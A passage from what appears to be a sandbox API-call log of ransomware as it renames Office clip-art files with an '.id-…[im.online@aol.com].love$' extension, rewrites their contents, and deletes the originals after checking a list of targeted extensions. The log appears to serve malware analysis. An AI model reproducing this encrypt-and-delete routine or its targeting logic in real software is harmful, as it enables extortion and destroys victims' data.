lpString2=".love$") returned 1 [0269.336] lstrlenW (lpString="J0099184.WMF") returned 12 [0269.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.338] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4118) returned 1 [0269.338] CloseHandle (hObject=0x304) returned 1 [0269.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0269.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.339] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.339] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.343] GetLastError () returned 0x0 [0269.343] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1016, lpOverlapped=0x0) returned 1 [0269.346] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0269.349] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.349] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.349] SetEndOfFile (hFile=0x4ac) returned 1 [0269.350] CloseHandle (hObject=0x4ac) returned 1 [0269.350] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.352] SetEndOfFile (hFile=0x304) returned 1 [0269.357] CloseHandle (hObject=0x304) returned 1 [0269.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0269.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.934] lstrlenW (lpString=".doc") returned 4 [0269.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.934] lstrlenW (lpString=".docx") returned 5 [0269.934] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0269.934] lstrlenW (lpString=".pdf") returned 4 [0269.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.935] lstrlenW (lpString=".xls") returned 4 [0269.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.935] lstrlenW (lpString=".xlsx") returned 5 [0269.935] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0269.935] lstrlenW (lpString=".ppt") returned 4 [0269.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.935] lstrlenW (lpString=".zip") returned 4 [0269.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.935] lstrlenW (lpString=".rar") returned 4 [0269.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.940] lstrlenW (lpString=".bz2") returned 4 [0269.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.940] lstrlenW (lpString=".7z") returned 3 [0269.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.940] lstrlenW (lpString=".dbf") returned 4 [0269.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.940] lstrlenW (lpString=".1cd") returned 4 [0269.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.940] lstrlenW (lpString=".jpg") returned 4 [0269.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.940] lstrlenW (lpString=".doc") returned 4 [0269.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.945] lstrlenW (lpString=".docx") returned 5 [0269.945] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0269.945] lstrlenW (lpString=".pdf") returned 4 [0269.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.945] lstrlenW (lpString=".xls") returned 4 [0269.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.945] lstrlenW (lpString=".xlsx") returned 5 [0269.945] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0269.945] lstrlenW (lpString=".ppt") returned 4 [0269.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.946] lstrlenW (lpString=".zip") returned 4 [0269.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.946] lstrlenW (lpString=".rar") returned 4 [0269.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.946] lstrlenW (lpString=".bz2") returned 4 [0269.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.946] lstrlenW (lpString=".7z") returned 3 [0269.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.946] lstrlenW (lpString=".dbf") returned 4 [0269.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.946] lstrlenW (lpString=".1cd") returned 4 [0269.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0269.948] lstrlenW (lpString=".jpg") returned 4 [0269.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.948] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.948] lstrlenW (lpString="J0099190.JPG") returned 12 [0269.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.951] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=43892) returned 1 [0269.951] CloseHandle (hObject=0x304) returned 1 [0269.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0269.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.952] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.952] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0269.954] GetLastError () returned 0x0 [0269.954] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xab74, lpOverlapped=0x0) returned 1 [0269.960] WriteFile (in: hFile=0x4e4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xab80, lpOverlapped=0x0) returned 1 [0269.962] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.962] WriteFile (in: hFile=0x4e4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.962] SetEndOfFile (hFile=0x4e4) returned 1 [0269.963] CloseHandle (hObject=0x4e4) returned 1 [0269.963] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.963] SetEndOfFile (hFile=0x304) returned 1 [0269.971] CloseHandle (hObject=0x304) returned 1 [0269.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0269.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.974] lstrlenW (lpString=".doc") returned 4 [0269.974] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.974] lstrlenW (lpString=".docx") returned 5 [0269.974] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0269.974] lstrlenW (lpString=".pdf") returned 4 [0269.974] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.974] lstrlenW (lpString=".xls") returned 4 [0269.974] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.974] lstrlenW (lpString=".xlsx") returned 5 [0269.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0269.974] lstrlenW (lpString=".ppt") returned 4 [0269.974] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.974] lstrlenW (lpString=".zip") returned 4 [0269.974] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.975] lstrlenW (lpString=".rar") returned 4 [0269.975] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.975] lstrlenW (lpString=".bz2") returned 4 [0269.975] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.975] lstrlenW (lpString=".7z") returned 3 [0269.975] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.977] lstrlenW (lpString=".dbf") returned 4 [0269.977] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.977] lstrlenW (lpString=".1cd") returned 4 [0269.977] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.977] lstrlenW (lpString=".jpg") returned 4 [0269.977] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.977] lstrlenW (lpString=".doc") returned 4 [0269.977] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.977] lstrlenW (lpString=".docx") returned 5 [0269.977] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0269.977] lstrlenW (lpString=".pdf") returned 4 [0269.978] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.978] lstrlenW (lpString=".xls") returned 4 [0269.978] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.978] lstrlenW (lpString=".xlsx") returned 5 [0269.978] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0269.978] lstrlenW (lpString=".ppt") returned 4 [0269.978] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.979] lstrlenW (lpString=".zip") returned 4 [0269.979] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.979] lstrlenW (lpString=".rar") returned 4 [0269.979] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.979] lstrlenW (lpString=".bz2") returned 4 [0269.979] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.979] lstrlenW (lpString=".7z") returned 3 [0269.979] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.979] lstrlenW (lpString=".dbf") returned 4 [0269.979] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.980] lstrlenW (lpString=".1cd") returned 4 [0269.980] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0269.980] lstrlenW (lpString=".jpg") returned 4 [0269.980] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.980] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.980] lstrlenW (lpString="J0099191.JPG") returned 12 [0269.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.982] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=62367) returned 1 [0269.982] CloseHandle (hObject=0x304) returned 1 [0269.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0269.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0270.389] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.416] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0270.796] GetLastError () returned 0x0 [0270.796] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0270.801] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0270.804] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.804] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.804] SetEndOfFile (hFile=0x488) returned 1 [0270.805] CloseHandle (hObject=0x488) returned 1 [0270.805] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.805] SetEndOfFile (hFile=0x57c) returned 1 [0270.813] CloseHandle (hObject=0x57c) returned 1 [0270.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0271.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.546] lstrlenW (lpString=".doc") returned 4 [0271.546] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0271.546] lstrlenW (lpString=".docx") returned 5 [0271.546] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0271.546] lstrlenW (lpString=".pdf") returned 4 [0271.546] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0271.546] lstrlenW (lpString=".xls") returned 4 [0271.546] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0271.546] lstrlenW (lpString=".xlsx") returned 5 [0271.546] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0271.546] lstrlenW (lpString=".ppt") returned 4 [0271.546] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0271.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.546] lstrlenW (lpString=".zip") returned 4 [0271.546] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0271.547] lstrlenW (lpString=".rar") returned 4 [0271.547] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0271.547] lstrlenW (lpString=".bz2") returned 4 [0271.547] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0271.547] lstrlenW (lpString=".7z") returned 3 [0271.547] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0271.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.547] lstrlenW (lpString=".dbf") returned 4 [0271.547] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0271.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.547] lstrlenW (lpString=".1cd") returned 4 [0271.547] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0271.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.547] lstrlenW (lpString=".jpg") returned 4 [0271.547] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0271.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.547] lstrlenW (lpString=".doc") returned 4 [0271.547] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0271.547] lstrlenW (lpString=".docx") returned 5 [0271.547] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0271.547] lstrlenW (lpString=".pdf") returned 4 [0271.547] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0271.547] lstrlenW (lpString=".xls") returned 4 [0271.547] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0271.547] lstrlenW (lpString=".xlsx") returned 5 [0271.547] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0271.548] lstrlenW (lpString=".ppt") returned 4 [0271.548] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0271.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.548] lstrlenW (lpString=".zip") returned 4 [0271.548] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0271.548] lstrlenW (lpString=".rar") returned 4 [0271.548] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0271.548] lstrlenW (lpString=".bz2") returned 4 [0271.548] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0271.548] lstrlenW (lpString=".7z") returned 3 [0271.548] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0271.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.548] lstrlenW (lpString=".dbf") returned 4 [0271.548] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0271.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.548] lstrlenW (lpString=".1cd") returned 4 [0271.548] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0271.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0271.548] lstrlenW (lpString=".jpg") returned 4 [0271.548] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0271.548] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.549] lstrlenW (lpString="J0099201.GIF") returned 12 [0271.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.550] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=51401) returned 1 [0271.550] CloseHandle (hObject=0x47c) returned 1 [0271.550] 